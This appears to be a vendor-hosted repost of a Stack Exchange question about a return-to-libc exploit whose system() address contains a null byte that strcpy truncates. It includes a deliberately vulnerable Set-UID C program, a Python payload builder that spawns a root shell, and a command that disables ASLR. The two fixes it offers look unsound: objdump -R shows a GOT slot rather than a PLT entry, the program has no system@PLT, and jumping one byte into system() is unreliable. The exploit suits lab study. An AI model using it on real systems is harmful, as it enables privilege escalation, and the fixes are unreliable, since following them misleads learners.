You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

strcpy栈溢出中system()地址含空字节的return-to-libc绕过方案问询

解决return-to-libc中system()地址含空字节被strcpy截断的问题

问题描述

在使用return-to-libc技术绕过不可执行栈防护时,libc中system()函数的地址(如0xf7c47000)末尾带有空终止字节,导致strcpy()复制到该地址的第一个空字节时停止,后续的exit()地址和/bin/sh字符串地址无法写入栈中,最终触发段错误。已验证将返回地址替换为exit()地址时方法可正常工作,确认问题根源为system()地址的空字节。

环境与程序信息

  • 系统:64位Kali(基于Debian),ASLR已关闭(执行echo 0 > /proc/sys/kernel/randomize_va_space)
  • 目标程序:root所有的32位Set-UID程序stack,编译命令:
    gcc -fno-stack-protector -z noexecstack -m32 -o stack stack.c
    
  • 目标程序代码(stack.c):
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    
    int foo(char *str)
    {
            char buffer[100];
    
            // The following statement has a buffer overflow problem
            strcpy(buffer, str);
            return 1;
    }
    
    int main(int argc, char **argv)
    {
            char str[400];
            FILE *badfile;
    
            badfile = fopen("badfile", "r");
            fread(str, sizeof(char), 300, badfile);
            foo(str);
    
            printf("Returned Properly\n");
            return 1;
    }
    
  • 漏洞利用脚本(libc_exploit.py):
    #!/usr/bin/python3
    import sys
    
    # Fill content with non-zero values
    content = bytearray(0xaa for i in range(300))
    
    sh_addr = 0xffffdfe8        # The address of "/bin/sh"
    content[120:124] = (sh_addr).to_bytes(4, byteorder='little')
    
    exit_addr = 0xf7c396a0      # The address of exit()
    content[116:120] = (exit_addr).to_bytes(4, byteorder='little')
    
    system_addr = 0xf7c47000    # The address of system()   ----- THE NULL BYTE IS HERE! -----
    content[112:116] = (system_addr).to_bytes(4,byteorder='little')
    
    # Save content to a file
    with open("badfile", "wb") as f:
        f.write(content)
    

绕过方案

方案1:使用system@PLT地址替代libc中的system地址

PLT(过程链接表)中的system入口地址位于程序的.text段,通常不包含空字节,能被strcpy()完整复制。

  1. 执行以下命令获取system@PLT的地址:

    objdump -R stack | grep system
    

    示例输出:

    08048420 R_386_JUMP_SLOT  system
    

    这里的0x08048420就是system@PLT的地址。

  2. 修改漏洞脚本中的system_addr为该地址:

    system_addr = 0x08048420  # 替换为实际获取的system@PLT地址
    
  3. 重新生成badfile并运行目标程序,此时strcpy()会完整复制所有内容,栈布局正确后即可触发system("/bin/sh")。

方案2:寻找libc中system()函数的偏移入口

如果必须使用libc中的system()地址,可以选择该函数内部的非起始地址,确保地址不含空字节且能正确进入system的执行逻辑:

  1. 启动gdb调试libc:

    gdb -q /lib/i386-linux-gnu/libc.so.6
    
  2. 反汇编system函数:

    disas system
    
  3. 在反汇编结果中,选择一个起始地址偏移后的有效指令地址(如0xf7c47001、0xf7c47002等),确保该地址不包含空字节,且对应指令合法。

  4. 将脚本中的system_addr替换为该偏移地址,重新生成badfile测试。

验证说明

替换地址后,可通过gdb调试目标程序,在foo函数的strcpy处下断点,查看栈中是否正确写入了system地址、exit地址和/bin/sh地址,确认strcpy()已完整复制payload内容。

内容的提问来源于stack exchange,提问作者MatGeneral

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.08.15 20:10:28